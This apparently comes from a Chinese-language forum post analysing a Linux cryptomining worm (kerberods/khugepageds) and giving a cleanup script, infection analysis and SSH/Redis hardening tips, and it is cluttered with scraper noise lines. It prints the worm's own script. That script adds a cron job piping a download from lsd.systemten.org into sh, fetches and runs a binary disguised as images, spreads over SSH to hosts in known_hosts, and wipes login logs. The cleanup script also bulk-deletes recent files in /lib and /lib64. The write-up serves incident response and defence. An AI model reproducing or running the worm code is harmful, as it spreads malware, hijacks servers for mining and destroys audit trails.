一、症状及表现

6 s7 r+ i' B6 e' G# O

1、CPU使用率异常，top命令显示CPU统计数数据均为0，利用busybox 查看CPU占用率之后，发现CPU被大量占用。

注：ls top ps等命令已经被病毒的动态链接库劫持，无法正常使用，大家需要下载busybox。

! i- {6 `7 r. A$ w! j$ R0 p2 J

2、crontab 定时任务异常，存在以下内容；

* _. F8 H5 @7 l3 I% v  V4 c

3、后期病毒变异，劫持sshd，导致远程登陆失败，偶尔还会跳出定时任务失败，收到新邮件等问题

' B* Z$ _$ c' X. U% k  Q$ @5 O

4、 存在异常文件、异常进程以及异常开机项

  o# R8 ]" x. L) [( A# B

5 C: ^% x7 }2 z1 v# ~

二、查杀方法

1、断网，停止定时任务服务；

2、查杀病毒主程序，以及保护病毒的其他进程；

3、恢复被劫持的动态链接库和开机服务；

4、重启服务器和服务；

附查杀脚本(根据情况修改)

（脚本参考（http://blog.csdn.net/u010457406/article/details/89328869））

1. 1 #!/bin/bash
   
2.   2 #可以重复执行几次，防止互相拉起导致删除失败
   
3. 3
   
4.   4 function installBusyBox(){
   
5.   5     #参考第一段
   
6.   6     busybox|grep BusyBox |grep v
   " H4 E$ C$ J- h- B& D# n+ n
7.   7 }
   ( [! w$ A8 h5 a6 ?+ _' h
8. 8
   9 E; t+ v5 }5 U9 H
9.   9 function banHosts(){
   - x" Q- {2 Z- y9 Q& u
10. 10     #删除免密认证，防止继续通过ssh进行扩散，后续需自行恢复，可不执行
    
11. 11     busybox echo "" > /root/.ssh/authorized_keys
    
12. 12     busybox echo "" > /root/.ssh/id_rsa
    
13. 13     busybox echo "" > /root/.ssh/id_rsa.pub
    
14. 14     busybox echo "" > /root/.ssh/known_hosts
    9 }& h! S4 Q) Q0 D8 N# u
15. 15     #busybox echo "" > /root/.ssh/auth
    
16. 16     #iptables -I INPUT -p tcp --dport 445 -j DROP
    : [. Y) v3 a/ a) T* ?4 h6 K
17. 17     busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org" >> /etc/hosts
    ! ?. {2 D) [% h" Q* o
18. 18 }
    
19. 19
    + `6 n  r3 v; G8 g& N7 z7 R
20. 20
    
21. 21 function fixCron(){
    , ~5 k  E9 X3 Y4 T' S5 [
22. 22     #修复crontab
    4 _1 R/ C1 R) u- s. o! @/ a
23. 23     busybox chattr -i  /etc/cron.d/root  2>/dev/null
    7 N$ X  n1 E$ a" f* y0 h) O5 b. x1 l
24. 24     busybox rm -f /etc/cron.d/root
    ) P# i. H% u; `
25. 25     busybox chattr -i /var/spool/cron/root  2>/dev/null
    % m+ P6 G) T9 p1 G& o) B
26. 26     busybox rm -f /var/spool/cron/root
    
27. 27     busybox chattr -i /var/spool/cron/tomcat  2>/dev/null
    : q9 A% t2 c/ m0 ^) U+ U4 R5 |% h4 }
28. 28     busybox rm -f /var/spool/cron/tomcat
    4 F$ [$ d# |, F* h5 y
29. 29     busybox chattr -i /var/spool/cron/crontabs/root  2>/dev/null
    * k+ e( B/ e" U% S
30. 30     busybox rm -f /var/spool/cron/crontabs/root
    
31. 31     busybox rm -rf /var/spool/cron/tmp.*
    
32. 32     busybox rm -rf /var/spool/cron/crontabs
    . @" e7 `( \0 d
33. 33     busybox touch /var/spool/cron/root
    
34. 34     busybox chattr +i /var/spool/cron/root
    5 d) g: H; _6 ?" I; T! t
35. 35 }
    9 n) k0 J9 q5 x" E& X
36. 36
    ) s6 `/ d- M" m9 A' \0 W: l/ _
37. 37 function killProcess(){
    
38. 38     #修复异常进程
    
39. 39     #busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    * S+ ?+ `- J. O* |# y+ W
40. 40     #busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    : s: `6 E, I; d! i+ b
41. 41     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    5 z2 v( U  h8 s$ S
42. 42     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    ) |, C8 H- z/ C/ `$ D# w( `! v) z
43. 43     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    9 e# G# {; Z4 V  G5 X
44. 44     busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
      z# w. I; z+ b- ^' S  R
45. 45     busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    
46. 46     busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/kauditds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    
47. 47     busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
    " a) f/ [6 A5 y4 `0 ]( Z5 U
48. 48     busybox rm -f /tmp/khugepageds
    
49. 49     busybox rm -f /tmp/migrationds
    
50. 50     busybox rm -f /tmp/sshd
    : z5 V2 v; b: A0 {* o
51. 51     busybox rm -f /tmp/kauditds
    
52. 52     busybox rm -f /tmp/migrationds
    
53. 53     busybox rm -f /usr/sbin/sshd
      o6 q" y5 x$ m# y6 I; X9 u
54. 54     busybox rm -f /usr/sbin/kerberods
    4 c- e- j: N. M( P0 J
55. 55     busybox rm -f /usr/sbin/kthrotlds
    4 |, _% ^6 f4 X! W+ U, j: \$ E& N
56. 56     busybox rm -f /usr/sbin/kintegrityds
    * F* [, D& d* L/ }# j( l, R
57. 57     busybox rm -f /usr/sbin/kpsmouseds
    
58. 58     busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
    1 a$ G  G0 `! x& }
59. 59 }
    3 ~5 S4 s* h2 x$ H4 k, G
60. 60
    
61. 61
    / v3 c7 D% j, i
62. 62 function clearLib(){
    ' O. F7 a+ T) O; l- q
63. 63     #修复动态库
    
64. 64     busybox chattr -i /etc/ld.so.preload
    2 z& \. i% i* ^+ n  k* V7 |9 ?
65. 65     busybox rm -f /etc/ld.so.preload
    2 g! M' i! h6 x9 [( g2 Y
66. 66     busybox rm -f /usr/local/lib/libcryptod.so
    
67. 67     busybox rm -f /usr/local/lib/libcset.so
    
68. 68     busybox chattr -i /etc/ld.so.preload 2>/dev/null
    7 T5 r: ]+ e& s( P" e- C
69. 69     busybox chattr -i /usr/local/lib/libcryptod.so  2>/dev/null
      |! I( ^+ m2 _; f8 U9 g
70. 70     busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
    ) z$ O2 ?0 z+ Q/ ~4 B
71. 71     busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
    
72. 72     busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
    ' K/ X5 v& ~3 ~* N( ^+ C5 [7 z
73. 73     busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
    
74. 74     busybox rm -f /etc/ld.so.cache
    
75. 75     busybox rm -f /etc/ld.so.preload
    9 _) E0 `" C6 L, c4 O8 G
76. 76     busybox rm -f /usr/local/lib/libcryptod.so
    " `) V% D+ G% L" s! s
77. 77     busybox rm -f /usr/local/lib/libcset.so
    . \7 n$ i# F0 U' z* t
78. 78     busybox rm -rf /usr/local/lib/libdevmapped.so
    
79. 79     busybox rm -rf /usr/local/lib/libpamcd.so
    " A9 }3 H" q/ t. y8 t1 ^+ z2 W( M
80. 80     busybox rm -rf /usr/local/lib/libdevmapped.so
    
81. 81     busybox touch /etc/ld.so.preload
    
82. 82     busybox chattr +i /etc/ld.so.preload
    : g5 C5 D% k+ @* P7 {" j% Z6 V
83. 83     ldconfig
    
84. 84 }
    
85. 85
    1 [& a7 w) ^8 W( u
86. 86 function clearInit(){
    ' e* G! d, o: ~; d, I# `5 Q
87. 87     #修复异常开机项
    ( S, I( g# m5 Z* N3 |  H0 N+ A, [
88. 88     #chkconfig netdns off 2>/dev/null
    
89. 89     #chkconfig –del netdns 2>/dev/null
    7 @3 T: n' K9 D( g
90. 90     #systemctl disable netdns 2>/dev/null
    / y4 Y9 T0 g$ C: f
91. 91     busybox rm -f /etc/rc.d/init.d/kerberods
    ! b: p& b1 s: |/ j$ U/ p! G
92. 92     busybox rm -f /etc/init.d/netdns
    
93. 93     busybox rm -f /etc/rc.d/init.d/kthrotlds
    3 s0 Z0 l4 p3 v% [9 v+ W" n
94. 94     busybox rm -f /etc/rc.d/init.d/kpsmouseds
      P% K. w9 Y& z. V3 n/ }
95. 95     busybox rm -f /etc/rc.d/init.d/kintegrityds
    ) |' q# ]( y  X9 n; g
96. 96     busybox rm -f /etc/rc3.d/S99netdns
    * I( x5 I; S2 a5 Y2 ?
97. 97     #chkconfig watchdogs off 2>/dev/null
    - y+ r" Q" U2 d) @) _& w+ ~0 j
98. 98     #chkconfig --del watchdogs 2>/dev/null
    
99. 99     #chkconfig --del kworker 2>/dev/null
    + l" z5 s* h! k; Q  d( r& ~/ J
100. 100     #chkconfig --del netdns 2>/dev/null
     3 |( l6 O  C; D# t3 B
101. 101 }
     6 O0 S2 W% o2 \! S: E4 R6 e% N( x
102. 102
     , a/ T! h% B" M# d" X8 v
103. 103 function recoverOk(){
       [! Y: R2 A! X+ v( g4 X( K" Y
104. 104     service crond start
     
105. 105     busybox sleep 3
     
106. 106     busybox chattr -i /var/spool/cron/root
     
107. 107     # 将杀毒进程加入到定时任务中，多次杀毒
     
108. 108     echo "*/10 * * * * /root/kerberods_kill.sh" | crontab -
     
109. 109     # 恢复被劫持的sshd 服务
     
110. 110     #busybox cp ~/sshd_new /usr/sbin/sshd
     
111. 111     #service sshd restart
     
112. 112     echo "OK,BETTER REBOOT YOUR DEVICE"
     
113. 113 }
     ' Q4 L( Q# ^3 ^- ]
114. 114
     
115. 115 #先停止crontab服务
     
116. 116 echo "1| stop crondtab service!"
     
117. 117 service crond stop
     % o' B9 K9 K; I7 b; A# c
118. 118 #防止病毒继续扩散
     
119. 119 echo "2| banHosts!"
     
120. 120 banHosts
     
121. 121 #清除lib劫持
     + V/ H& @! P/ A5 q  o0 R
122. 122 echo "3| clearLib!"
     
123. 123 clearLib
     ! }8 ^  h8 P4 e/ g7 O$ z
124. 124 #修复crontab
     
125. 125 echo "4| fixCron!"
     ! l1 U7 b- m- l
126. 126 fixCron
     $ O: h: I# V5 W, o2 T
127. 127 #清理病毒进程
     ; X7 S2 Z3 ]+ N  q4 |  {9 [0 L3 ?  `
128. 128 echo "5| killProcess!"
     # e: F0 r, K& `' n6 T/ M
129. 129 killProcess
     
130. 130 #删除异常开机项
     
131. 131 echo "6| clearInit! "
     
132. 132 clearInit
     
133. 133 #重启服务和系统
     
134. 134 echo "7| recover!"
     
135. 135 recoverOk

复制代码

( ~0 I  X" g' k4 m$ b1 ]+ M
5 w$ X* p4 b/ g6 n/ {, C

查杀完成以后重启服务器，发现过段时间，登陆主机，无论本地还是ssh远程登陆，依然会有病毒进程被拉起，观察top里面的进程，并用pstree 回溯进程之间的关系，发现每次用户登陆就会有病毒进程被拉起，怀疑登陆时加载文件存在问题，逐个排查下列文件：

6 l5 |* H( C4 f$ j+ t7 g' B

• /etc/profile，
• ~/.profile，
• ~/.bash_login，
• ~/.bash_profile，
• ~/.bashrc，
• /etc/bashrc；
  
  1 f7 ?) S8 s. f. Q( N! L0 p

# z8 L; k* [) h' C9 T# W, Q

最后终于发现/etc/bashrc 文件被加入了一些似曾相识的语句

3 s; m& D5 V+ L) I/ u9 g, p

删除并次查杀病毒（重复之前查杀步骤），重启服务器，观察一段时间后不再有病毒程序被拉起，至此病毒被查杀完全。

' R0 y5 C2 d) c! M% |

三、病毒分析
# J  N: `  H1 @5 U7 Y$ ?

, F  d2 y' l% |# I

1、感染路径

• 攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。
  
  
• 第一台感染的机器会读取known_hosts文件，遍历ssh登录，如果是做了免密登录认证，则将直接进行横向传播。
  
  

$ S% F% m# Y! Y" h+ V) K) w

2、病毒主要模块

• 主恶意程序：kerberods
• 恶意Hook库：libcryptod.so libcryptod.c
• 挖矿程序：khugepageds
• 恶意脚本文件：netdns (用作kerberods的启停等管理)
• 恶意程序：sshd （劫持sshd服务，每次登陆均可拉起病毒进程）
  
  1 O" n8 J# J( ]% D

; `1 }/ |! s% W- L  b& C: v

3、执行顺序

+ [0 T7 Y# ^. K

① 执行恶意脚本下载命令

② 主进程操作

1> 添加至开机启动，以及/etc/bashrc

2> 生成了sshd文件 劫持sshd服务

3> 将netdns文件设置为开机启动

4> 编译libcryptod.c为/usr/local/lib/libcryptod.so

5> 预加载动态链接库，恶意hook关键系统操作函数

6> 修改/etc/cron.d/root文件，增加定时任务

7> 拉起khugepageds挖矿进程

附病毒恶意进程代码

1. 1 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
   
2. 2
   / E. H; O8 C: ^3 f. y& [* ^3 x5 }: P
3. 3 mkdir -p /tmp
   
4. 4 chmod 1777 /tmp
   ) n( w! z9 w; C- ]
5. 5
   " P2 G  C+ \: w2 X& @; F! X
6. 6 echo "* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh" | crontab -
   2 I( z8 x; H/ y! C' D2 _8 E5 E7 {1 W3 R
7. 7
   
8. 8 ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
   ( m, h/ y  ]4 {9 Q/ C* R. r
9. 9 ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
   $ |- s; l9 X) t$ Y$ a/ _; V
10. 10 ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
    
11. 11 ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
    : u! s. i0 [7 d. U
12. 12 ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
    
13. 13 ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
    / y- a  v1 r; W1 }; I+ L
14. 14 ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
    / a6 |* N2 W/ a' q- ?& K
15. 15 ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
    - I2 W* @+ C- D% W
16. 16 ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
    
17. 17 ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
    ) }2 {' s9 g) u, r
18. 18 ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
    . b/ J, r2 N' v8 h2 R5 s
19. 19 ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
    
20. 20 ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
    
21. 21 ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
    ; f6 z9 a! b3 p  Q2 k- }/ h
22. 22 ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
    ( W9 _+ r" r7 I
23. 23 ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
      M/ Y: Q; j& g9 B+ G" ?' Y
24. 24 ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
    
25. 25 ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
    
26. 26 ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
    " [! {/ j& A+ u9 ?! R
27. 27 ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -9
    & O# h: S5 l0 t
28. 28 ps -ef|grep -v grep|grep "axgtbc"|awk '{print $2}'|xargs kill -9
    
29. 29 ps -ef|grep -v grep|grep "axgtfa"|awk '{print $2}'|xargs kill -9
    
30. 30 ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
    
31. 31 ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
    " ~0 W- E+ ~$ x
32. 32 ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
    ) }8 s( C; |& u' T
33. 33
    ! U( r! w- ~0 d4 w" K3 Z
34. 34 cd /tmp
    ' x! p& B% F0 b6 _+ y+ D
35. 35 touch /usr/local/bin/writeable && cd /usr/local/bin/
    
36. 36 touch /usr/libexec/writeable && cd /usr/libexec/
    
37. 37 touch /usr/bin/writeable && cd /usr/bin/
    4 A+ b4 \2 p2 m$ Q) U1 i
38. 38 rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
    . {! m5 F! v+ M  w" `) ?
39. 39 export PATH=$PATH:$(pwd)
    8 b( `7 \+ `8 e" ?, T; _3 g) G
40. 40 if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
    
41. 41     chattr -i sshd
    
42. 42     rm -rf sshd
    " o* ~% |& d. Q
43. 43     ARCH=$(uname -m)
    ; ?  Z) q# q% P4 ^- p0 g) y
44. 44     if [ ${ARCH}x = "x86_64x" ]; then
    
45. 45         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -O sshd) && chmod +x sshd
    % B6 t* B# `" V% V  w, a$ y
46. 46     else
    * X5 l. l. H0 h9 k! r4 S* p
47. 47         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -O sshd) && chmod +x sshd
    
48. 48     fi
    
49. 49         $(pwd)/sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || ./sshd || /tmp/sshd || /usr/local/sbin/sshd
    
50. 50 fi
    
51. 51
    
52. 52 if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
    3 s. F8 }5 R7 z2 o
53. 53   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
    % b: i+ [# a2 C% R% A
54. 54 fi
    
55. 55
    
56. 56 for file in /home/*
    # ?, H1 D# Z2 L7 j) t+ i# ^
57. 57 do
    * {: A/ T3 W. \; P! |
58. 58     if test -d $file
    
59. 59     then
    
60. 60         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
    
61. 61             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
    . W* z4 F1 o7 F5 j" t( j8 ?6 w" ?
62. 62         fi
    - g7 |; ~1 ~' L, M' |% @1 Y
63. 63     fi
    / ]! n. V& e  p# C3 V9 s' z4 ~8 ~
64. 64 done
      G8 z  P) Y. l$ a$ k: `8 l
65. 65
    ( ~$ E4 f9 n2 x' k# {
66. 66 echo 0>/var/spool/mail/root
    
67. 67 echo 0>/var/log/wtmp
    
68. 68 echo 0>/var/log/secure
    9 s3 ]) `/ ]8 e2 O. x! T
69. 69 echo 0>/var/log/cron
    
70. 70 #

复制代码

, x7 n% B* {) i0 v6 H; t

8 R# P9 {. C& _) s1 M

四、安全防护

' S/ w' [# Q5 ?" h5 T9 x- ^

1.SSH

3 r3 o, b7 q$ h9 Q+ [4 D

① 谨慎做免密登录

② 尽量不使用默认的22端口

③ 增强root密码强度

) e7 G6 d- h% H* g# b. s# n2 f: ]( v

2.Redis

2 W, @: R2 R# J/ M8 c9 Z

① 增加授权认证(requirepass参数)

② 尽量使用docker版本(docker pull redis)

③ 隐藏重要的命令

2 e" K- V4 a* E3 r